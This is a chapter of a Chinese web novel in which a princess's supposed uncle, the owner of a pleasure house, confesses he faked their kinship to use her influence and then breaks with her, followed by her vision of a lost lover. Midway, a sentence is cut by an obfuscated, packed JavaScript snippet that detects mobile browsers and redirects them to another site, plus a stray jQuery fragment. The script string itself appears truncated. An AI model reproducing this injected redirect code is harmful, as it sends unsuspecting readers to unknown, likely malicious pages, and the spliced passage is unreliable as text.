50. 第五十章

作品:《养公主逆袭指南

    藏烟楼。


    “这件太丑,你喜欢的话搬到你房间,毕竟丑人配丑东西去。”


    “这件我看不顺眼,丢掉。”


    “这件是去年的,不扔留着等我砸你的头吗?”


    危月燕正指挥着楼里所有人干活。之前过年的时候藏烟楼贴了春联挂了红灯,还有不少别人送的金铜、大漆、琉璃摆件,什么马到成功、八骏雄风之类的,当时他黑着脸拒绝,说“太辣眼睛”,却被花远青笑眯眯地全收下,说给他留着当陪嫁,一直摆在正厅。


    现在过完年,这些东西都用不上了,他一边骂人一边跟皇帝似的发号施令,楼主没发话,大家敢怒不敢言,战战兢兢地干活。


    姜眠来时看见的就是这么一幕,忍不住吐槽:“平时你就这么爱欺负人,舅舅也不管?”


    一个姜眠熟悉的姑娘“哎呦哎呦”叫起来,好像有人撑腰了:“也不知道人家给楼主灌了什么迷魂汤,自打过年开始,什么都听他打理任他造作,我看没多久啊咱们就要关门大吉喽!”


    危月燕冷笑一声:“你现在就滚。”又对姜眠道:“你也是一样。”


    “那明天呢?我还来吗?”姜眠追问。


    姑娘捏了把汗,危月燕此人也是神奇,不仅来历不明,生得一副妖艳邪异的皮囊,生性张狂大字不识而且心胸狭窄,凡是惹到他的人下场都很可怕,今天她才见识到,原来他对皇室公主也是这态度。


    “滚的意思是,永远、永远、不要让我看到你。”


    “谁说我是来找你的?”姜眠给自己挽尊。


    “小朋友找我有事?”花远青从二楼下来,适时出现在他们面前,颔首对那姑娘道:“去领你的雇工书,账房那边会补偿你一年薪水,以后就不用来了。”


    危月燕略得意地望了一眼姜眠,很是幼稚,但姜眠还是被他气到了:“我不服!明明是危月燕先仗势欺人的,要走也是他走!”


    危月燕看向花远青:“你敢让我走?”


    花远青缓缓点头:“也可以。”然后拿出随身算盘,手指噼啪拨算几下,报了一个数目:“这是他的赎金价格,交完钱立马可以将人带走,毕竟养了他这么久,若是哪天不想要他了,将人送回来就行。”


    “……舅舅别开玩笑了。对了,我要和你做一笔生意!”


    大家全都安静了,连危月燕也侧目难言。


    这种大庭广众之下被万众瞩目的感觉,好熟悉。姜眠清清嗓子:“是正经生意。”


    ……


    “……然后我可以假装醉酒,将你原本给迷夏王的拜贴不小心装混了,发错了信件!”


    充斥暖香的房间里,花远青捏了捏眉心,一副头疼的样子:“你几乎从不饮酒,何来醉酒一说?况且我做事向来亲力亲为,不仅托你办事还由你亲自装错信件,太刻意了,很难不被说三道四,要是追究起来,岂不酿成大祸。”


    “那舅舅替我出个主意?”姜眠从未如此谄媚过,又是捏肩又是捶背,笑得嘴角都要裂了。


    花远青姿态慵懒,十分受用:“倒不如让我一人全担了这个罪名,反正我一介商贾,又是做风月生意的,干出什么事都不奇怪。”


    “多谢舅舅!多谢!”


    “先别急着谢,我倒是有一个问题,你能答上来,我才能帮你。”花远青给自己倒了一杯酒,气味很醇厚,因为他平时要应付的事情太多,不允许自己喝醉误事,所以习惯用烈酒锻炼自己的酒量。


    “什么问题?”姜眠好奇。


    花远青抬眸,嘴角弯起一贯的弧度,说出的话却有些伤人。


    “为什么偏偏是黎未?对一个背叛你的人死缠烂打,”


    “我不明白你说的死缠烂打是什么意思,他也不是背叛我的人,换一个问题吧。”姜眠强迫自己拉起嘴角微笑。


    “机会已经用完了。”


    “不行!你一定要帮我!”意识到不对,姜眠放软语气:“舅舅是我唯一的亲人了。”


    “我都没得到想要的答案,凭什么帮你呢?”


    “那天,危月燕给我传信,是你让他来的吧。”


    花远青有些诧异,看他没有预料到,姜眠心中略微得意。


    可是他又说:“不错,可这不算什么,信早已烧成灰了,从那壶“一度春风”开始,世人皆知危月燕和你的关系,他拜访一下自己的金主,有什么问题吗。另外,他帮了你和你的情人,你忍心让他被带到大理寺受苦吗?”


    “哼,商人狡诈诚不欺我。但我不是舅舅的侄女嘛,总归比旁人有优待?”


    “那你就没听过‘商人重利轻离别’?听说你胆子挺大,屡次顶撞当今圣上,运气也好,居然次次作死次次毫发无伤,如果你真是我的侄女,我想我会很欣赏你,毕竟这个世道,像你这样一腔孤勇的人太少见了。”


    “你这是什么意思!不愿意帮忙就不愿意,居然还要和我断绝关系?”


    “不,你理解错了。虽然我也很希望是真的,不过很可惜,我并不是你的什么‘舅舅’,也没有你这么傻的‘侄女’。”


    “那你当初为什么来找我?”姜眠一双眼睛明亮皎洁,怔愣地望着他。


    “这还不明显吗?我初到京城一无靠山二无人脉,做生意总是受这里的人排挤,不借你的势,藏烟楼怎么能有今日,还得多谢你了,好骗的小朋友。”


    姜眠气得胃里一阵恶心,差点吐出来,怎么会有人如此厚颜无耻,为了赚钱连亲戚也能随便认!


    她一巴掌呼在花远青脸上,那张脸顿时青了一块。


    可他居然还在笑,姜眠举起拳头准备往他脸上砸,只听他道:“其实我还挺喜欢你的,索性就用这个词吧,但感情不是人生的全部,否则我要是像你这样,早就死上不知多少回了。”


    姜眠最终还是忍下了。


    一切安静了。花远青打开窗,让风吹进来,吹吹他不大清醒的大脑,然后端起酒杯,看着姜眠离开的方向,静静啜饮。庆幸的是风很凉爽,吹走了围绕自己的那团火焰。


    在他背后的墙壁上挂着一副画框,里面裱着一袭儿童喜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363625|199793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱的纸鸢,与这里的纸醉金迷格格不入。


    ……


    姜眠走在半路上气不过,想回去把那一拳补上,不料花远青这个老狐狸动作更快,她居然被侍女拦在藏烟楼外!


    “三公主殿下,进来喝酒可以,寻欢作乐也无妨,但楼主说了,不再见你。”


    姜眠灰溜溜地跑回家,也没听见嬷嬷喊她,叫了三声才反应过来。


    “什么事呀?”


    “害,最近有个朋友要回南边老家探亲,喊我一块儿去玩,大概十天时间,我能不能去啊?”


    姜眠想,嬷嬷从小照顾自己,由于自己不能离开,嬷嬷也没踏出过京城一步,最多和朋友约在一起打打牌,不曾远游,不禁心生愧疚。


    “去呗去呗,难得有人作伴,别说十天,半个月也行啊,我可以照顾好自己的!”


    果然年纪大了腿脚就是利索,三下五除二就收拾好了行囊,出门前不忘叮嘱:“不要给陌生人开门,嬷嬷走了,记得喂猫啊。”


    ……


    质子之乱后杨绯被授予了内阁官职,正式接掌军政,皇帝赐给她府邸,被她赠送给了梅近鹤,梅近鹤收下这份礼物,算是冰释前嫌。杨绯则从梧桐巷搬回了朱雀巷,依旧和姜眠做邻居,但每次看见她精神不济的模样都暗自生气,宁愿处理政务到很晚也不回家。


    夜半时分,姜眠睡不着,反□□里也没有旁人,她干脆搬来一张小榻,脱了鞋袜趴在窗边。想起黎未离开那天,大家都以为他死了,皇帝问姜眠要什么赏赐,她说希望给黎未立碑修书,还他一个清白,若非杨绯力保,她当场就该人头落地。


    花远青的生意因她兴盛,也差点因为她成了被诛的九族,第一次见他气成那样。


    “你疯了。真是什么事都敢做,听听外面是怎么传你的,说你玷污了你父母的名誉,打仗不是儿戏,征兵收税群民激愤,你在这个关头还想着爱情?你该死,黎未更该死,你们早晚都会自己作死,只是别把我拖下水!”


    花远青狠狠皱着眉头,拽起她的衣领,她看着他的脸,只能嗫喏着说:“对不起,我没想到后果会这么严重。”


    他终究还是放开她,颓然闭口不言。或许从那个时候开始,他就觉得自己没有利用价值决定放弃了吧。


    四周有点热,今晚的月亮也亮得过分,光一闪一闪的,她好像看见黎未了。他一身素衣站在桂花树下,像一盏长明灯落在仲夏夜的荒原里,他朝她微笑,背后是黑色的烟雾,好像随时要吞噬他。


    “又是幻觉吗?你可以靠近一点。”姜眠说。


    黎未很听话,他靠近了她,那是一个可以拥抱的距离,姜眠的幻觉里从没离他这样近过,这个发现令她欣喜若狂。


    黎未的眼神很温柔地望着她,问:“公主,你爱我吗?”


    姜眠呆呆地问:“真的是你吗?如果你是黎未,我爱你。”


    黎未摇头,不知是什么意思。“公主,和我走吧,我们去一个谁也找不到的地方。”


    姜眠笑着说好,朝他伸出手。